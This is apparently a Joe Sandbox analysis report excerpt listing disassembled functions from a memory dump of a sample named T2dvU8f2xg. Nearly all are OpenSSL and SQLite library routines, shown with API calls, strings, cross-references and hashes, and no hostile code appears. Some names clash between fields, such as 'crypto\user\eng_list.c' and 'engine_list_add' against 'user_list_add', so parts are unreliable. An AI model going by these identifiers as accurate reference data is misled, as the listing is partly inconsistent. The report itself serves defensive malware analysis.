memmove.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?), ref: 101A864E

Strings

misuse, xrefs: 101A8518
96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e, xrefs: 101A850E
%s at line %d of [%.10s], xrefs: 101A851D
API called with finalized prepared statement, xrefs: 101A84F2
API called with NULL prepared statement, xrefs: 101A84DD

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memmove
String ID: %s at line %d of [%.10s]$96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e$API called with NULL prepared statement$API called with finalized prepared statement$misuse
API String ID: 2162964266-3128487192
Opcode ID: 9e3f70be7d92a032afe21e1ef4890d3a963a62091c07866ffc641d90a3eff8f7
Instruction ID: c084a19d2bdc84fa23195be4207b1e0d4039c0f6f9fb5aeeb2fa0e4be058d363
Opcode Fuzzy Hash: 9e3f70be7d92a032afe21e1ef4890d3a963a62091c07866ffc641d90a3eff8f7
Instruction Fuzzy Hash: 304168B9E00782DBE7009E359C45B9B77E9FB80394F150438FC4A9B242E67DE805C7A2

Function 10067630 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 119COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,?,10078BF6,?,?,?,?,00000000,00000000), ref: 10067644
TlsGetValue.KERNEL32(?,?,?,?,00000000,00000000), ref: 10067652
SetLastError.KERNEL32(00000000,?,?,?,?,00000000,00000000), ref: 1006765F
TlsSetValue.KERNEL32(00000000,?,?,?,?,?,?,?,00000000,00000000), ref: 100676A5

Part of subcall function 10057A60: raise.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000016,%s:%d: OpenSSL internal error: %s,00000000,00000000,00000000,10053B52,assertion failed: ctx->cipher->block_size == 1 || ctx->cipher->block_size == 8 || ctx->cipher->block_size == 16,crypto\evp\evp_enc.c,0000017E,?,?,?,?,1005237D,00000000,00000000), ref: 10057A78
Part of subcall function 10057A60: _exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 10057A82

Strings

crypto\threads_win.c, xrefs: 1006766E, 1006768C
assertion failed: data != NULL, xrefs: 10067691

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ErrorLastValue$_exitraise
String ID: assertion failed: data != NULL$crypto\threads_win.c
API String ID: 2469985723-2453483766
Opcode ID: 5fad7663d94771d6fdd988bb0bcaabb6ef9fd7a6a5f0dfbe10ff74d070ab8e04
Instruction ID: 376dbc69706ed34041bf858a1319989053ac563a694dddbcd6b3a4d66dd130d9
Opcode Fuzzy Hash: 5fad7663d94771d6fdd988bb0bcaabb6ef9fd7a6a5f0dfbe10ff74d070ab8e04
Instruction Fuzzy Hash: 7741DD74604316CFCB10DF28C88061AB7E2FB89354F15816EF9499B392EB31ED85CB91

Function 102537B0 Relevance: 9.1, APIs: 6, Instructions: 92synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 102537DE
CloseHandle.KERNEL32(?), ref: 102537E6
EnterCriticalSection.KERNEL32(?,00000734,?,00000088,00000000,1025ABDA,00000088), ref: 10253960
LeaveCriticalSection.KERNEL32(?,?,00000088,00000000,1025ABDA,00000088), ref: 10253973
CloseHandle.KERNEL32(00000000,?,00000088,00000000,1025ABDA,00000088), ref: 10253984
closesocket.WS2_32(?), ref: 10253A00

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CloseCriticalHandleSection$EnterLeaveObjectSingleWaitclosesocket
String ID:
API String ID: 817826440-0
Opcode ID: d81873e34fd13f688e75efe4fde7fd172362976f6634fe6eafd78e4768bc3d75
Instruction ID: 71f8353259db8f9386f9a20c8cc8e14c87f21abe9d9559e56def4b694e52e30f
Opcode Fuzzy Hash: d81873e34fd13f688e75efe4fde7fd172362976f6634fe6eafd78e4768bc3d75
Instruction Fuzzy Hash: C4318CB5900712EBEB118F24C84C786FBA8FF49350F248129F819C7361DB71E868CB95

Function 10253470 Relevance: 9.1, APIs: 6, Instructions: 74synchronizationCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000734,?,00000088,00000000,1025ABDA,00000088), ref: 10253960
LeaveCriticalSection.KERNEL32(?,?,00000088,00000000,1025ABDA,00000088), ref: 10253973
CloseHandle.KERNEL32(00000000,?,00000088,00000000,1025ABDA,00000088), ref: 10253984
WaitForSingleObject.KERNEL32(?,000000FF,?,00000088,00000000,1025ABDA,00000088), ref: 102539B7
CloseHandle.KERNEL32(?,?,00000088,00000000,1025ABDA,00000088), ref: 102539BF
closesocket.WS2_32(?), ref: 10253A00

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CloseCriticalHandleSection$EnterLeaveObjectSingleWaitclosesocket
String ID:
API String ID: 817826440-0
Opcode ID: 28a21627193ee51b02940a537739333d115f80f8719fdce1ebac31d9e11eafed
Instruction ID: f49b8a4eaf521fd6ceeb643b5459e21dc9e5f95b6fdcc1dc575e630c9687fa69
Opcode Fuzzy Hash: 28a21627193ee51b02940a537739333d115f80f8719fdce1ebac31d9e11eafed
Instruction Fuzzy Hash: 4C2169B5500716EBDB019F60CD8DB86BBA8FF48341F108124F819C6661DB72E838CBA6

Function 10271560 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 197COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 10271640
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1027172D

Strings

%7lldd, xrefs: 10271756
%3lldd %02lldh, xrefs: 10271739
%2lld:%02lld:%02lld, xrefs: 1027168B

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: %2lld:%02lld:%02lld$%3lldd %02lldh$%7lldd
API String ID: 885266447-1743532675
Opcode ID: 7c656e32d0b747ff5d3b5b9b8a005a9a2343ee1f8b1d974431593c4ffc031a40
Instruction ID: 2cf84fae5504e31e24f9dca7ffe592af3dd18da8010b05798d98fa8ec99ac334
Opcode Fuzzy Hash: 7c656e32d0b747ff5d3b5b9b8a005a9a2343ee1f8b1d974431593c4ffc031a40
Instruction Fuzzy Hash: 80517676B003045BE3089E2CCC81B6AB6DAEBD8250F59463DF848D7391EAB6EC548681

Function 1014A6F0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1014A785

Part of subcall function 100974C0: __fprintf_l.LIBCMT ref: 1009756A

__fprintf_l.LIBCMT ref: 1014A74F
__fprintf_l.LIBCMT ref: 1014A808

Strings

crypto\asn1\d2i_pr.c, xrefs: 1014A73C, 1014A773, 1014A7F5
ossl_d2i_PrivateKey_legacy, xrefs: 1014A735, 1014A76C, 1014A7EB

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\asn1\d2i_pr.c$ossl_d2i_PrivateKey_legacy
API String ID: 3906573944-100318223
Opcode ID: 4a29ac0efab1f0cd4f3fc46045f1601a9cda65e09af8ceb285bc62b426cbc782
Instruction ID: 4791d9df61c98dc09b4b5176fb02f7553ed913b68cca038f8fb6e5bc530c9689
Opcode Fuzzy Hash: 4a29ac0efab1f0cd4f3fc46045f1601a9cda65e09af8ceb285bc62b426cbc782
Instruction Fuzzy Hash: DC417A7BA0070267D211EB94BC42F5F33E4FF80651F560639F94CE6252EB26FA0592A3

Function 10087740 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 128COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1008779B
__fprintf_l.LIBCMT ref: 10087840

Strings

crypto\user\eng_dyn.c, xrefs: 10087788, 100877FC, 1008782E, 100878C5
dynamic_get_data_ctx, xrefs: 1008777E
dynamic_set_data_ctx, xrefs: 10087824

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\user\eng_dyn.c$dynamic_get_data_ctx$dynamic_set_data_ctx
API String ID: 3906573944-1236403193
Opcode ID: 1f176e0b7a90e3024b1d27685aee01cf85e908a8290bb2ced2efeafbfafbf5ee
Instruction ID: 30462f01f1467ef0a8a7a50f6837db767a16edc8bbeb02163988cd0e4dcfb9ef
Opcode Fuzzy Hash: 1f176e0b7a90e3024b1d27685aee01cf85e908a8290bb2ced2efeafbfafbf5ee
Instruction Fuzzy Hash: 20316E7AE4031167E230DB606C47F0B3599FB817A4F110531FE0DAA297FE65F424D2A6

Function 1007AD70 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007AD99
__fprintf_l.LIBCMT ref: 1007AE0B

Strings

crypto\user\eng_list.c, xrefs: 1007AD87, 1007ADFB, 1007AEBE
engine_list_add, xrefs: 1007AD80, 1007ADF4, 1007AE42, 1007AE68, 1007AEB7

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\user\eng_list.c$user_list_add
API String ID: 3906573944-360260143
Opcode ID: cd6c939e592e9afa3b2a1c27dca9fcf3c57c8e1d2acf776f871db17653b63c3e
Instruction ID: b02a409666c18eac0a74eee2cca5ba3f4959cbe9c1f9f5c9e84e3149decec118
Opcode Fuzzy Hash: cd6c939e592e9afa3b2a1c27dca9fcf3c57c8e1d2acf776f871db17653b63c3e
Instruction Fuzzy Hash: D7416A74744341AAD720DFB8AC05B4A77D1EFC3321F114619F5C9DA2C1DB7AA884C68A

Function 10076DE0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 105COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10076EFC
__fprintf_l.LIBCMT ref: 10076F3D

Strings

max_request, xrefs: 10076E04
crypto\evp\evp_rand.c, xrefs: 10076EE9, 10076F2A
evp_rand_generate_locked, xrefs: 10076EDF, 10076F20

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\evp\evp_rand.c$evp_rand_generate_locked$max_request
API String ID: 3906573944-812122572
Opcode ID: 3eef397672ffcfda3de02c092dc1136c087d24d77fa18e283781233765f28a27
Instruction ID: edcecf374b89b08b732c115c0fff2d35ff309a7b76132fd494149bc8e4c30921
Opcode Fuzzy Hash: 3eef397672ffcfda3de02c092dc1136c087d24d77fa18e283781233765f28a27
Instruction Fuzzy Hash: B631B275208304AFE350CF58DC45B5BB7E4FF89744F404918F98C9B281E77AE9189B56

Function 1007FCB0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 103COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007FDB7

Part of subcall function 1007FE60: __fprintf_l.LIBCMT ref: 1007FEA3

__fprintf_l.LIBCMT ref: 1007FD29

Strings

crypto\dso\dso_lib.c, xrefs: 1007FD19, 1007FD40, 1007FD59, 1007FDA8
DSO_set_filename, xrefs: 1007FD0F
DSO_load, xrefs: 1007FDA2

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: DSO_load$DSO_set_filename$crypto\dso\dso_lib.c
API String ID: 3906573944-2564273300
Opcode ID: 3e38b6a660a8c6d11c12f58b94a20ef33c5c960ae8fbd81eedc10a37db974c98
Instruction ID: 90f8dd63120905afd7c7cfea539c8a49ff08acabde6ceda15c6e511e0399e5ed
Opcode Fuzzy Hash: 3e38b6a660a8c6d11c12f58b94a20ef33c5c960ae8fbd81eedc10a37db974c98
Instruction Fuzzy Hash: 9631097564070AABD220DA50DC45FABB3E5FF40390F01892CF9C8A7141E769FD19969A

Function 1006D130 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1006D16B
__fprintf_l.LIBCMT ref: 1006D19F

Strings

bn_expand_internal, xrefs: 1006D151, 1006D185
crypto\bn\bn_lib.c, xrefs: 1006D15B, 1006D18F, 1006D1BD, 1006D1CF, 1006D210, 1006D22F

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: bn_expand_internal$crypto\bn\bn_lib.c
API String ID: 3906573944-4271053188
Opcode ID: 709f73a31883192865c42f1a22cdaae2e2ce0bc47adcb28ae78dbe6dbbd7670d
Instruction ID: 5928cf0822b76fafb4f1d1fdf14cf57d21b49c15c63e45cb499b198e083c7f6d
Opcode Fuzzy Hash: 709f73a31883192865c42f1a22cdaae2e2ce0bc47adcb28ae78dbe6dbbd7670d
Instruction Fuzzy Hash: A6210B75B4030536E320EF68AC53F9773D5EF92792F24092EFA85E6192D3B0F8548291

Function 1005E6D0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 79COMMON

Download Yara Rule

Strings

crypto\user\eng_init.c, xrefs: 1005E758, 1005E79B
engine_unlocked_finish, xrefs: 1005E751
ENGINE_finish, xrefs: 1005E794

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: user_finish$crypto\user\eng_init.c$user_unlocked_finish
API String ID: 0-1149166950
Opcode ID: 67de4131fef5bf6d2c5be32ad502a9eecbf4847808b1e22fce6505a900fb7774
Instruction ID: 8ff01b625430caeac3bf67c56a95b052c1cd16a0ce4972af760578db5afc7ecd
Opcode Fuzzy Hash: 67de4131fef5bf6d2c5be32ad502a9eecbf4847808b1e22fce6505a900fb7774
Instruction Fuzzy Hash: 11218C3DB0836123D154F725BC42B4E32C6EB967A0F054420FE8CA5292FF22BD19F556

Function 1006E0F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 76COMMONLIBRARYCODE

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1006E11A
__fprintf_l.LIBCMT ref: 1006E14D

Strings

crypto\stack\stack.c, xrefs: 1006E108, 1006E13D
OPENSSL_sk_insert, xrefs: 1006E0FE, 1006E133

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OPENSSL_sk_insert$crypto\stack\stack.c
API String ID: 3906573944-3688629665
Opcode ID: 6342e41207364a24c5d8026d7638f412cf3a486199f1100cdd896081e029af07
Instruction ID: f5ef55d6c4827d7f6529f3aa7ca2ce2c511286cdc25eaf9a6eabfc8619a8333a
Opcode Fuzzy Hash: 6342e41207364a24c5d8026d7638f412cf3a486199f1100cdd896081e029af07
Instruction Fuzzy Hash: 9C21D275204751AFD360DF68FC42F8A73E2EF81710F254928F5D8EB282EB70B8459692

Function 100824E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

crypto\thread\arch\thread_win.c, xrefs: 100824E6, 10082500, 1008251A, 10082587

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: crypto\thread\arch\thread_win.c
API String ID: 0-2915021490
Opcode ID: a4f211d660c42d7395be33dc7ee57286ca5ccd4c192ca34fc22add6f04611f82
Instruction ID: cec0eea6c37606171c6e950424c9a5816fbb818744ae6e7be0c0011606ce72cd
Opcode Fuzzy Hash: a4f211d660c42d7395be33dc7ee57286ca5ccd4c192ca34fc22add6f04611f82
Instruction Fuzzy Hash: 83115E35740B21B6E360DB657C06FCB76D0EF90710F014616F5969A2C1DBF0B54547D1

Function 1007AEE0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 10067370: AcquireSRWLockExclusive.KERNEL32(?,?,1007ABE6,?,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000,00000000), ref: 10067376

__fprintf_l.LIBCMT ref: 1007AF3A
__fprintf_l.LIBCMT ref: 1007AF5E

Strings

ENGINE_remove, xrefs: 1007AF44
engine_list_remove, xrefs: 1007AF20
crypto\user\eng_list.c, xrefs: 1007AF2A, 1007AF4E

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l$AcquireExclusiveLock
String ID: user_remove$crypto\user\eng_list.c$user_list_remove
API String ID: 1653626913-1252335875
Opcode ID: 2bfb18504c30a3a5d0d805a4c0ae958ff1ab32c5db48da07eb820f9295fc6dbf
Instruction ID: 026e8fdc85685774f264d81b9e8d796942ab68c32fd7e1afaa0ff59dda793d34
Opcode Fuzzy Hash: 2bfb18504c30a3a5d0d805a4c0ae958ff1ab32c5db48da07eb820f9295fc6dbf
Instruction Fuzzy Hash: 372193B8741321AFD720EB90DD81B1A33D5EB87B40F014528F8C8DB351DB75B880D65A

Function 1007A7B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007A7E0
__fprintf_l.LIBCMT ref: 1007A836

Strings

ENGINE_add, xrefs: 1007A7C4, 1007A81C, 1007A858
crypto\user\eng_list.c, xrefs: 1007A7CE, 1007A826, 1007A862

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: user_add$crypto\user\eng_list.c
API String ID: 3906573944-3225708527
Opcode ID: 4eb3e9788a8e36d55635517b2f9dfd061d4ab0984fa8836071d53883314f5bf0
Instruction ID: 7edb51bbd45eba9430511335a853f2250c1446d16338aaf3a80ac4c2470a5eee
Opcode Fuzzy Hash: 4eb3e9788a8e36d55635517b2f9dfd061d4ab0984fa8836071d53883314f5bf0
Instruction Fuzzy Hash: A611C83DA8421171E160E2A5BC07F9B2181DBC3754F054520FA8DA91D3EE557599D05B

Function 1007F980 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007F9B8
__fprintf_l.LIBCMT ref: 1007F9ED
__fprintf_l.LIBCMT ref: 1007FA1A

Strings

DSO_bind_func, xrefs: 1007F99E, 1007F9D3, 1007F9FD
crypto\dso\dso_lib.c, xrefs: 1007F9A8, 1007F9DD, 1007FA07

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: DSO_bind_func$crypto\dso\dso_lib.c
API String ID: 3906573944-2281110185
Opcode ID: d577d8c69255b2c48e401cf477f1bfb589d6e48b45b6b895e052ceaee2851f1b
Instruction ID: cbd338647da262604b8dc94717b167604cf760df2df7c7ac919391d15a1992d5
Opcode Fuzzy Hash: d577d8c69255b2c48e401cf477f1bfb589d6e48b45b6b895e052ceaee2851f1b
Instruction Fuzzy Hash: 1B014BA878064335F110F668AC47F2BA190EB41B45F508A0CBB98BA1C3EA61F619A01B

Function 1006E3C0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 43COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1006E3EA

Strings

OPENSSL_sk_set, xrefs: 1006E3CD, 1006E420
crypto\stack\stack.c, xrefs: 1006E3D7, 1006E42A
i=%d, xrefs: 1006E435

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OPENSSL_sk_set$crypto\stack\stack.c$i=%d
API String ID: 3906573944-10064221
